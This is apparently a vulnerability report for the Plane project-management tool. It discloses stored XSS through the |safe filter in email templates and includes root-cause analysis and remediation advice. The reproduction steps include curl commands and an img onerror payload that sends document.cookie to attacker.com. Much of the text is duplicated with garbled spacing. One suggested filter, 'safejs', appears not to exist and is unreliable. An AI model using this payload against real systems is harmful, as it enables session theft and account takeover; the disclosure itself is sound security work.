Is there an existing issue for this?
Current behavior
CVE Candidate
Vulnerability Type: Stored Cross-Site Scripting (XSS) via Email Template
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS v3.1: Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H → 8.8 (HIGH)
Affected Product
- Product: Plane (self-hosted)
- Affected Component:
POST /api/v1/workspaces/<slug>/projects/<id>/comments/ (comment creation)
- Email Template:
apps/api/templates/emails/notifications/issue-updates.html (line ~213)
- Versions Affected: All versions (unpatched at time of discovery)
Vulnerability Description
When a comment is created on an issue, the comment_html field is stored as raw HTML
(unsanitized) and is later rendered in the issue-update email notification using Django's
| safe filter at apps/api/templates/emails/notifications/issue-updates.html:213:
The | safe filter explicitly disables HTML escaping, causing any malicious JavaScript
payload stored in comment content to execute in the email client's context.
PoC Environment
- Attacker:
attacker@sectest.local (UUID: 026ebe9f-72dd-4e26-893b-dc8b2a29dcf1)
- Victim:
victim@sectest.local (UUID: ac0cc922-bc5e-41cf-9bf9-588a3ca4b76b)
- Project:
fc225cb1-3234-4a99-833e-c9acd82d67bc
- Workspace:
atk-ws-1
- API token:
plane_api_7bf29604a2564c9c86162568ce7bf9b0
Root Cause Analysis
In plane/api/templates/emails/notifications/issue-updates.html (line ~213):
<td class="comment-content">{{ actor_comment|safe }}</td>
The | safe filter tells Django's template engine "this is safe HTML, do not escape it."
But actor_comment is derived from user-controlled comment.comment_html which is stored
as raw user input without sanitization.
Fix: Use {{ actor_comment|safejs }} or render via a sanitizer:
<td class="comment-content">{{ actor_comment|striptags }}</td>
Or use a whitelist-based HTML sanitizer (e.g., bleach) to sanitize comment_html
before storing it.
Impact
- Confidentiality: HIGH — cookie/session exfiltration via JavaScript execution
- Integrity: HIGH — attacker can modify page content
- Availability: HIGH — persistent denial of service
- Attack Complexity: LOW — simple stored XSS
- User Interaction: LOW — victim views issue notification email
Real-world impact:
- Account takeover via session cookie theft
- Credential harvesting via fake login forms injected into email
- Persistent defacement of email content
- Phishing campaigns using Plane's trusted domain
Remediation
- Sanitize comment HTML on input using
bleach or DOMPurify before storing
- Remove
| safe filter from email templates — always escape user content
- Use
| striptags if plain text rendering is acceptable
- Implement CSP headers to prevent inline script execution in webmail clients
Timeline
- Discovery Date: 2026-06-05
- Vendor Notification: Pending
References
Steps to reproduce
Step 1 — Create Issue (victim's project) to get issue ID
curl -s "http://localhost:18000/api/v1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/issues/" \
-H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0"
Save the first issue id.
Step 2 — Post a Comment with XSS Payload
curl -X POST "http://localhost:18000/api/v1/workspaces/atk-ws-1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/comments/" \
-H "Content-Type: application/json" \
-H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0" \
-d '{
"issue_id": "<issue-uuid>",
"comment_html": "<img src=x onerror=\"fetch('\''http://attacker.com/log?c='\''+document.cookie)\''\">"
}'
Expected: HTTP 201 Created — payload stored as raw HTML.
Step 3 — Verify Stored Payload is Returned as Raw HTML
curl -s "http://localhost:18000/api/v1/workspaces/atk-ws-1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/comments/" \
-H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0"
Response includes raw HTML — no sanitization applied:
{
"comment_html": "<img src=x onerror=\"fetch('http://attacker.com/log?c='+document.cookie)\">"
}
Step 4 — Trigger Email Notification (requires SMTP configured)
When the issue receives an update (comment added), Plane sends email to project members.
The email template renders {{ actor_comment|safe }} — the | safe filter causes
the comment HTML to be rendered unescaped in the email body.
In email clients that execute JavaScript (e.g., some webmail clients with HTML rendering),
the onerror handler fires and exfiltrates the victim's cookies/session to the attacker's server.
Environment
Production
Browser
Google Chrome
Variant
Local
Version
Latest version
Is there an existing issue for this?
Current behavior
CVE Candidate
Vulnerability Type: Stored Cross-Site Scripting (XSS) via Email Template
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS v3.1: Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H→ 8.8 (HIGH)Affected Product
POST /api/v1/workspaces/<slug>/projects/<id>/comments/(comment creation)apps/api/templates/emails/notifications/issue-updates.html(line ~213)Vulnerability Description
When a comment is created on an issue, the
comment_htmlfield is stored as raw HTML(unsanitized) and is later rendered in the issue-update email notification using Django's
| safefilter atapps/api/templates/emails/notifications/issue-updates.html:213:{{ actor_comment|safe }}The
| safefilter explicitly disables HTML escaping, causing any malicious JavaScriptpayload stored in comment content to execute in the email client's context.
PoC Environment
attacker@sectest.local(UUID:026ebe9f-72dd-4e26-893b-dc8b2a29dcf1)victim@sectest.local(UUID:ac0cc922-bc5e-41cf-9bf9-588a3ca4b76b)fc225cb1-3234-4a99-833e-c9acd82d67bcatk-ws-1plane_api_7bf29604a2564c9c86162568ce7bf9b0Root Cause Analysis
In
plane/api/templates/emails/notifications/issue-updates.html(line ~213):The
| safefilter tells Django's template engine "this is safe HTML, do not escape it."But
actor_commentis derived from user-controlledcomment.comment_htmlwhich is storedas raw user input without sanitization.
Fix: Use
{{ actor_comment|safejs }}or render via a sanitizer:Or use a whitelist-based HTML sanitizer (e.g.,
bleach) to sanitizecomment_htmlbefore storing it.
Impact
Real-world impact:
Remediation
bleachor DOMPurify before storing| safefilter from email templates — always escape user content| striptagsif plain text rendering is acceptableTimeline
References
Steps to reproduce
Step 1 — Create Issue (victim's project) to get issue ID
Save the first issue
id.Step 2 — Post a Comment with XSS Payload
Expected: HTTP 201 Created — payload stored as raw HTML.
Step 3 — Verify Stored Payload is Returned as Raw HTML
Response includes raw HTML — no sanitization applied:
{ "comment_html": "<img src=x onerror=\"fetch('http://attacker.com/log?c='+document.cookie)\">" }Step 4 — Trigger Email Notification (requires SMTP configured)
When the issue receives an update (comment added), Plane sends email to project members.
The email template renders
{{ actor_comment|safe }}— the| safefilter causesthe comment HTML to be rendered unescaped in the email body.
In email clients that execute JavaScript (e.g., some webmail clients with HTML rendering),
the
onerrorhandler fires and exfiltrates the victim's cookies/session to the attacker's server.Environment
Production
Browser
Google Chrome
Variant
Local
Version
Latest version